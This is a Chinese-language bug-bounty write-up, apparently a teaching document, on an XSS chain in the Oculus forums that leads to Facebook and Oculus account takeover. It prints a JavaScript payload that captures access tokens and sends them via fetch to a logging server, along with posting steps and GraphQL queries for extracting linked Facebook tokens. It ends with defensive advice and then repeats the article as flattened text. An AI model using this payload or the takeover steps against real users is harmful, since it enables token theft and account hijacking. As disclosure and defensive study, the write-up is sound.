挖洞经验 | 利用Oculus网站XSS漏洞实现对Facebook和Oculus用户的账户劫持
字数 1861 2025-08-15 21:33:14

Oculus网站XSS漏洞分析与利用教学文档

漏洞概述

本教学文档详细分析了一个针对Oculus论坛(forums.oculusvr.com)的XSS漏洞,该漏洞允许攻击者窃取用户访问令牌(Access Token),进而实现对Facebook和Oculus账户的劫持。Facebook最终为此漏洞支付了$30,000的奖励。

漏洞背景

  • 受影响系统: Oculus论坛(forums.oculusvr.com)
  • 技术栈: 基于Vanilla Forum搭建
  • 认证机制: 使用oculus.com的认证系统
  • 认证路径: https://graph.oculus.com/authenticate_web_application/
  • 跳转路径: 认证后跳转到https://forums.oculusvr.com/entry/oculus并携带access_token

漏洞细节分析

1. 认证流程分析

  1. 用户访问Oculus论坛时,会被重定向到graph.oculus.com进行认证
  2. 认证成功后,用户被重定向回论坛,URL中携带access_token
  3. 该access_token可用于访问graph.oculus.com/graphql进行GraphQL查询

2. XSS漏洞点

漏洞存在于oculus-oauth.js文件中,关键问题代码:

var oculusConnect = function(params) {
    // ...
    if (params.connect.debug) {
        document.write("login type : " + loginType + ";<br >document location:" + document.location + ";<br >Saved State:" + savedState + ";<br >State:" + state + ";<br >Hash Key:" + hashKey);
    }
    // ...
}

关键问题:

  • 使用document.write直接输出未过滤的document.location
  • 可通过控制state参数注入恶意代码

3. 利用限制与绕过

原始问题:

  • 代码中有var loginType = this.frameElement.id;
  • 直接访问会报错"TypeError: Cannot read property 'id' of null"

绕过方法:

  • 必须将漏洞页面框架化(iframe)
  • 父页面与iframe页面需同源

漏洞利用链

1. Vanilla Forums的嵌入漏洞

Vanilla Forums允许嵌入来自白名单网站的iframe内容,白名单包括:

  • YouTube
  • Vimeo
  • Getty
  • Twitter
  • Instagram
  • Pinterest
  • Twitch
  • SoundCloud

其中某个白名单网站存在漏洞,允许构造恶意iframe跳转到漏洞页面。

2. XSS Payload构造

最终利用URL格式:

https://forums.oculusvr.com/entry/oculus/#access_token=test&state=<恶意脚本>

Base64编码的Payload示例:

var ifrm = document.createElement('iframe');
ifrm.setAttribute('id', 'test');
ifrm.setAttribute('src', 'https://graph.oculus.com/authenticate_web_application?access_token=OC|1238816349468370|&redirect_uri=https://forums.oculusvr.com/entry/oculus&state=V1HW9S2LGZ&method=post');
ifrm.onload = function(){
    var token = document.getElementById('test').contentWindow.location.href;
    fetch("https://logging-server/log.php?x=" + token);
};
document.body.appendChild(ifrm);

3. 完整利用步骤

  1. 登录Oculus账户访问论坛
  2. 在"New Discussion"区域点击"Toggle Html View"
  3. 插入包含恶意iframe的Payload
  4. 点击"Preview"和"Post Discussion"发布
  5. 受害者访问后,其access_token会被窃取

账户劫持技术

1. 基础信息收集

使用窃取的access_token可以进行GraphQL查询:

https://graph.oculus.com/graphql?access_token=VICTIM_TOKEN&method=post

2. 获取Facebook访问令牌

关键查询:

q=viewer(){linked_accounts_info{facebook_account{access_token}}}

3. 权限提升漏洞

发现第三个关键漏洞:

  • 将窃取的令牌升级为另一个应用身份(WWW 752908224809889)
  • 绕过应用身份限制
  • 读取Facebook绑定用户的access_token

4. 最终劫持方式

两种攻击路径:

  1. 直接使用Facebook的access_token劫持Facebook账户
  2. 使用Facebook的access_token通过https://graph.oculus.com/fbauth登录关联的Oculus账户

防御建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤和编码
    • 避免使用document.write输出未过滤的内容
  2. 认证安全

    • 使用HttpOnly和Secure标志设置cookie
    • 实现CSRF保护机制
    • 限制access_token的作用域和有效期
  3. 框架安全

    • 实施严格的CSP策略
    • 使用X-Frame-Options防止点击劫持
  4. 第三方嵌入

    • 严格审查白名单网站
    • 对嵌入内容实施沙箱机制
  5. 敏感操作保护

    • 对账户关键操作要求二次验证
    • 实施异常登录检测机制

总结

本漏洞通过三个关键漏洞的链式利用实现了高危害的账户劫持攻击:

  1. Vanilla Forums的iframe嵌入漏洞
  2. Oculus认证流程中的XSS漏洞
  3. 令牌升级和权限绕过漏洞

这强调了现代Web应用中认证流程和安全边界设计的重要性,特别是在处理跨域、跨应用的身份验证时,需要特别谨慎。

Oculus网站XSS漏洞分析与利用教学文档 漏洞概述 本教学文档详细分析了一个针对Oculus论坛(forums.oculusvr.com)的XSS漏洞,该漏洞允许攻击者窃取用户访问令牌(Access Token),进而实现对Facebook和Oculus账户的劫持。Facebook最终为此漏洞支付了$30,000的奖励。 漏洞背景 受影响系统 : Oculus论坛(forums.oculusvr.com) 技术栈 : 基于Vanilla Forum搭建 认证机制 : 使用oculus.com的认证系统 认证路径 : https://graph.oculus.com/authenticate_web_application/ 跳转路径 : 认证后跳转到 https://forums.oculusvr.com/entry/oculus 并携带access_ token 漏洞细节分析 1. 认证流程分析 用户访问Oculus论坛时,会被重定向到 graph.oculus.com 进行认证 认证成功后,用户被重定向回论坛,URL中携带access_ token 该access_ token可用于访问 graph.oculus.com/graphql 进行GraphQL查询 2. XSS漏洞点 漏洞存在于 oculus-oauth.js 文件中,关键问题代码: 关键问题: 使用 document.write 直接输出未过滤的 document.location 可通过控制 state 参数注入恶意代码 3. 利用限制与绕过 原始问题: 代码中有 var loginType = this.frameElement.id; 直接访问会报错"TypeError: Cannot read property 'id' of null" 绕过方法: 必须将漏洞页面框架化(iframe) 父页面与iframe页面需同源 漏洞利用链 1. Vanilla Forums的嵌入漏洞 Vanilla Forums允许嵌入来自白名单网站的iframe内容,白名单包括: YouTube Vimeo Getty Twitter Instagram Pinterest Twitch SoundCloud 等 其中某个白名单网站存在漏洞,允许构造恶意iframe跳转到漏洞页面。 2. XSS Payload构造 最终利用URL格式: Base64编码的Payload示例: 3. 完整利用步骤 登录Oculus账户访问论坛 在"New Discussion"区域点击"Toggle Html View" 插入包含恶意iframe的Payload 点击"Preview"和"Post Discussion"发布 受害者访问后,其access_ token会被窃取 账户劫持技术 1. 基础信息收集 使用窃取的access_ token可以进行GraphQL查询: 2. 获取Facebook访问令牌 关键查询: 3. 权限提升漏洞 发现第三个关键漏洞: 将窃取的令牌升级为另一个应用身份(WWW 752908224809889) 绕过应用身份限制 读取Facebook绑定用户的access_ token 4. 最终劫持方式 两种攻击路径: 直接使用Facebook的access_ token劫持Facebook账户 使用Facebook的access_ token通过 https://graph.oculus.com/fbauth 登录关联的Oculus账户 防御建议 输入过滤 : 对所有用户输入进行严格过滤和编码 避免使用 document.write 输出未过滤的内容 认证安全 : 使用HttpOnly和Secure标志设置cookie 实现CSRF保护机制 限制access_ token的作用域和有效期 框架安全 : 实施严格的CSP策略 使用X-Frame-Options防止点击劫持 第三方嵌入 : 严格审查白名单网站 对嵌入内容实施沙箱机制 敏感操作保护 : 对账户关键操作要求二次验证 实施异常登录检测机制 总结 本漏洞通过三个关键漏洞的链式利用实现了高危害的账户劫持攻击: Vanilla Forums的iframe嵌入漏洞 Oculus认证流程中的XSS漏洞 令牌升级和权限绕过漏洞 这强调了现代Web应用中认证流程和安全边界设计的重要性,特别是在处理跨域、跨应用的身份验证时,需要特别谨慎。